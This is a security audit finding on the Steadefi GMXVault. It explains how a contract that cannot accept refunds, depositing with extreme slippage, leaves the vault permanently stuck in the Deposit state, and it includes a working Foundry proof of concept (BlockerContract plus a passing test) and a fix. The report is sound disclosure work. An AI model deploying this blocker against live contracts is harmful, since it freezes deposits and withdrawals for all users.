Steadefi

Summary

GMXVault can be blocked by malicious actor if he made a depositNative call with unpayable contract and the deposit then cancelled by the GMX exchange router (3rd party).

Vulnerability Details

• Users can deposit native tokens in vaults that either of its token pair is a WNT (wrapped native token) by calling GMXVault.depositNative payable function with the required deposit parameters (such as token, amount, minimum share amount, slippage & execution fees), then this function will invoke GMXDeposit.deposit with a msg.value equals the amount that the user wants to deposit + execution fees.

• In GMXDeposit.deposit: various checks are made to ensure the sanity of the deposit parameters and the elligibility of the user to deposit, and to calculate the required tokenA & tokenB needed to deposit in the GMX protocol, then the sent native tokens are deposited in the WNT contract and an equivalent amount of WNT is transferred to the vault.

• And before the call is made to the GMXManager.addLiquidity (where a call is going to be made to the GMX.exchangeRouter contract) to add liquidity; the status of the vault is checked if it's Open, if yes; then the status of the vault is set to Deposit so that no more deposits or withdrawls can be made (the vault will be blocked until the operation succeeds).

• So if the operation succeeds in the GMX exchange router; the vault callback will invoke preocessDeposit function to finish the process and update the vault status to Open.

• And if the operation of adding liquidity is cancelled by the GMX exchange router (3rd party); the vault callback will invoke processDepositCancellation function to rollback the process by repaying the lendingVaults debts and paying back the native tokens sent by the user, then update the vault status to Openso that the vault is open again for deposits and withdrawals.

• Usually the deposit (liquidity addition to GMX protocol) fails if the user sets a very high slippage parameter when making a deposit (dp.slippage).

How can this be exploited to block the vault?
Imagine the following scenario:

1. If a malicious user deploys an unpayable contract (doesn't receive native tokens) and makes a call to the GMXVault.depositNative function with a very high slippage to ensure that the deposit will be cancelled by the GMX exchange router.

2. So when the deposit is cancelled and the vault callback processDepositCancellation function is invoked by the router; it will revert as it will try to send back the native tokens to the user who tried to make the deposit (which is the unpayable contract in our case).

3. And the status of the vault will be stuck in the Deposit state; so no more deposits or withdrawals can be made and the vault will be disabled.

• The same scenario will happen if the user got blocklisted later by the deposited token contract (tokenA or tokenB), but the propability of this happening is very low as the GMX exchange router will add liquidity in two transactions with a small time separation between them!

Impact

The vault will be blocked as it will be stuck in the Deposit state; so no more deposits or withdrawals can be made.

Proof of Concept

Code Instances:

GMXVault.depositNative

GMXDeposit.deposit /L88

GMXDeposit.processDepositCancellation /L209-210

Foundry PoC:

1. A BlockerContract.sol is added to mimick the behaviour of an unpayable contract.
   add the following contract to the 2023-10-SteadeFi/test/gmx/local/BlockerContract.sol directory:

   // SPDX-License-Identifier: MIT

   pragma solidity 0.8.21;

   ​

   import {GMXTypes} from "../../../contracts/strategy/gmx/GMXTypes.sol";

   import {GMXVault} from "../../../contracts/strategy/gmx/GMXVault.sol";

   ​

   contract BlockerContract {

   constructor() payable {}

   ​

   function callVault(

   address payable _vaultAddress,

   GMXTypes.DepositParams memory dp

   ) external {

   GMXVault targetVault = GMXVault(_vaultAddress);

   targetVault.depositNative{value: address(this).balance}(dp);

   }

   }

2. test_processDepositCancelWillBlockVault test is added to to the 2023-10-SteadeFi/test/gmx/local/GMXDepositTest.sol directory; where the blockerContract is deployed with some native tokens to cover deposit amount + execution fees, then this contract calls the depositNative via BlockerContract.callVault, where the exchange router tries to cancel the deposit but it will not be able as the BlockerContract can't receive back deposited native tokens, and the vault will be blocked.

   add this import statement and test to the GMXDepositTest.sol file :

   import {BlockerContract} from "./BlockerContract.sol";
   function test_processDepositCancelWillBlockVault() external {

   //1. deploy the blockerContract contract with a msg.value=deposit amount + execution fees:

   uint256 depositAmount = 1 ether;

   ​

   BlockerContract blockerContract = new BlockerContract{

   value: depositAmount + EXECUTION_FEE

   }();

   ​

   //check balance before deposit:

   uint256 blockerContractEthBalance = address(blockerContract).balance;

   assertEq(depositAmount + EXECUTION_FEE, blockerContractEthBalance);

   ​

   //2. preparing deposit params to call "depositNative" via the blockerContract:

   depositParams.token = address(WETH);

   depositParams.amt = depositAmount;

   depositParams.minSharesAmt = 0;

   depositParams.slippage = SLIPPAGE;

   depositParams.executionFee = EXECUTION_FEE;

   ​

   blockerContract.callVault(payable(address(vault)), depositParams);

   ​

   // vault status is "Deposit":

   assertEq(uint256(vault.store().status), 1);

   ​

   //3. the blockerContract tries to cancel the deposit, but it will not be able to do beacuse it's unpayable contract:

   vm.expectRevert();

   mockExchangeRouter.cancelDeposit(

   address(WETH),

   address(USDC),

   address(vault),

   address(callback)

   );

   ​

   // vault status will be stuck at "Deposit":

   assertEq(uint256(vault.store().status), 1);

   ​

   // check balance after cancelling the deposit, where it will be less than the original as no refund has been paid (the blockerContract is unpayable):

   assertLt(address(blockerContract).balance, blockerContractEthBalance);

   }

3. Test result:

   $ forge test --mt test_processDepositCancelWillBlockVault

   Running 1 test for test/gmx/local/GMXDepositTest.sol:GMXDepositTest

   [PASS] test_processDepositCancelWillBlockVault() (gas: 1419036)

   Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 24.62ms

   Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Manual Review & Foundry.

Recommendations

Add a mechanism to enable the user from redeeming his cancelled deposits (pulling) instead of sending it back to him (pushing).